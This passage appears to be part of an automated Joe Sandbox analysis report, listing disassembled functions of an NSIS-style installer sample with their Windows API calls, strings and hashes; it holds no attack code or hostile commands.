String ID: "C:\Users\user\Desktop\fTSt7dc60O.exe"$*?|<>/":$C:\Users\user~1\AppData\Local\Temp\
API String ID: 589700163-2730664359
Opcode ID: 1606a10478bcb54d9e464e7e1942e813b7f97a0a03c371f366e1e5ab139a473f
Instruction ID: 5b12d47152ff200ae170f947aa1a5954375b24b0904b9d00ef93706c4e891e75
Opcode Fuzzy Hash: 1606a10478bcb54d9e464e7e1942e813b7f97a0a03c371f366e1e5ab139a473f
Instruction Fuzzy Hash: 1311E61580020295DB303B548C44AB772F8EF95750F42807FED9A732C1E77C5CA286BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,?,?,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C
C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp, xrefs: 00402528

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp$C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll
API String ID: 1453599865-907821908
Opcode ID: 2ec4215e9db0db2254814e3cb73373e62eff586f0bef32dca1f3cc9ac902e013
Instruction ID: a0446c0b0672562d506aa58c1ab7e20caafec20b23fb80a76c6cc5bad6f3e06b
Opcode Fuzzy Hash: 2ec4215e9db0db2254814e3cb73373e62eff586f0bef32dca1f3cc9ac902e013
Instruction Fuzzy Hash: C0015271A44214FFD700AFB09E8AEAB7278AF51719F20453BB102B61D1D6BC5E419A2D

Function 00404201 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040421E
GetSysColor.USER32(00000000), ref: 0040423A
SetTextColor.GDI32(?,00000000), ref: 00404246
SetBkMode.GDI32(?,?), ref: 00404252
GetSysColor.USER32(?), ref: 00404265
SetBkColor.GDI32(?,?), ref: 00404275
DeleteObject.GDI32(?), ref: 0040428F
CreateBrushIndirect.GDI32(?), ref: 00404299

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: b52404dbcc62fb778985b33cde271554a932a1fc376a4a1675ca0a40f23ca1f0
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B821A4B1A04704ABCB219F68DD08B4B7BF8AF80700F04896DFD91E22E1C338E804CB65

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 175540e7daea46f04fdcb39c2d6b9fb6ccbbe72b81495e9a418fab8b18cc96be
Instruction ID: c76d0c3f0677147b44531d70e17f5e21854c5a6159b3e076b4812541e28699f2
Opcode Fuzzy Hash: 175540e7daea46f04fdcb39c2d6b9fb6ccbbe72b81495e9a418fab8b18cc96be
Instruction Fuzzy Hash: C931BF72C00118BBDF11AFA5CE49DAF7E79EF04324F20423AF510762E1C6796E418BA9

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 004051F2: lstrlenW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
Part of subcall function 004051F2: lstrlenW.KERNEL32(00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
Part of subcall function 004051F2: lstrcatW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00402D94,00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000), ref: 0040524D
Part of subcall function 004051F2: SetWindowTextW.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll), ref: 0040525F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
Part of subcall function 004051F2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(0002C6C2,00000064,0003161B), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 005642a4020e0a71c09553eb7eb2d495990d68115b85ca719a2b531c3bc6c152
Instruction ID: 6ab1becf65089363c82906b09123353a2bcc309babf83807567d4fce196db36a
Opcode Fuzzy Hash: 005642a4020e0a71c09553eb7eb2d495990d68115b85ca719a2b531c3bc6c152
Instruction Fuzzy Hash: CD015E31909220EBC7616B64EE5DBDB3A68AB00704B14457BF905B11F1C6B85C45CFAE

Function 00404ABC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404AD7
GetMessagePos.USER32 ref: 00404ADF
ScreenToClient.USER32(?,?), ref: 00404AF9
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404B0B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404B31

Strings

f, xrefs: 00404B0D

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 0eecd9b69481b59551465bcf9db52b38cf56a1a0cd5b93a9aa54e622b558eefa
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 4B015E71E00219BADB10DBA4DD85FFEBBBCAB94711F10012BBB10B61D0D7B4A9018BA5

Function 00401D41 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BDA0), ref: 00401DBC

Strings

Times New Roman, xrefs: 00401DA2

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 42daf7e862d24205765a2c482219e26c12b6d25ebfb053d7a945aa5fdfa94cc8
Instruction ID: b353f613be9e85a79a94993a8857fa9d5f5277bee054f22ce4286571968d2ed5
Opcode Fuzzy Hash: 42daf7e862d24205765a2c482219e26c12b6d25ebfb053d7a945aa5fdfa94cc8
Instruction Fuzzy Hash: 4A016D31948285EFEB416BB0AE0AFDABF74EB65305F144479F141B62E2C77810058B6E

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

verifying installer: %d%%, xrefs: 00402CC6
unpacking data: %d%%, xrefs: 00402CBF, 00402CCF

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: fb2a05d00326c25166bc5f9aaa13d1f718a743be953a9e67bdfa073c3cfab417
Instruction ID: 6313022a6a14420ec29aadc91542e870ad3eb66361cb8d6516b6428425dce57e
Opcode Fuzzy Hash: fb2a05d00326c25166bc5f9aaa13d1f718a743be953a9e67bdfa073c3cfab417
Instruction Fuzzy Hash: 36F01270504108ABEF205F50DD4ABAE3768BB00309F00843AFA16B51D1DBB95959DB59

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 004049D6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226E8,004226E8,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A67
wsprintfW.USER32 ref: 00404A70
SetDlgItemTextW.USER32(?,004226E8), ref: 00404A83

Strings

&B, xrefs: 00404A56
%u.%u%s%s, xrefs: 00404A51

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$&B
API String ID: 3540041739-2907463167
Opcode ID: bc3b7f17ced557010f42f2a5da3d553c1ee365e0fd64efe36082f95fd3b84f34
Instruction ID: b2bc00afb158c588b9a06456614f3f49c694bd1d1c2ad39e9d347cd1a0135542
Opcode Fuzzy Hash: bc3b7f17ced557010f42f2a5da3d553c1ee365e0fd64efe36082f95fd3b84f34
Instruction Fuzzy Hash: 131126737001247BCB10A66D9C45EDF324DDBC5334F144237FA65F60D1D938882186E8

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp, xrefs: 00402380, 0040238E, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp
API String ID: 1356686001-2707921621
Opcode ID: 7abd92b05f405a69157af65e26feabc4c7652e6a2ebb012a6e5cdbbd5c9e1c3c
Instruction ID: 1c964708cf89b7fac74d07524040b6b2ab84de1cfba919da144199f52892a02b
Opcode Fuzzy Hash: 7abd92b05f405a69157af65e26feabc4c7652e6a2ebb012a6e5cdbbd5c9e1c3c
Instruction Fuzzy Hash: A51190B1A00108BEEB11EFA4CD89EAFBB7CEB50358F10443AF505B61D1D7B85E409B29

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cd135f4b73005082297d100c57be3cc5053262b6a7e6c2b6d53efd55afb7b6f5
Instruction ID: 421c968aeac85d0930bc76aa4bc7d64c85250730bd7c855cb2b2db6532b3540a
Opcode Fuzzy Hash: cd135f4b73005082297d100c57be3cc5053262b6a7e6c2b6d53efd55afb7b6f5
Instruction Fuzzy Hash: F9F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

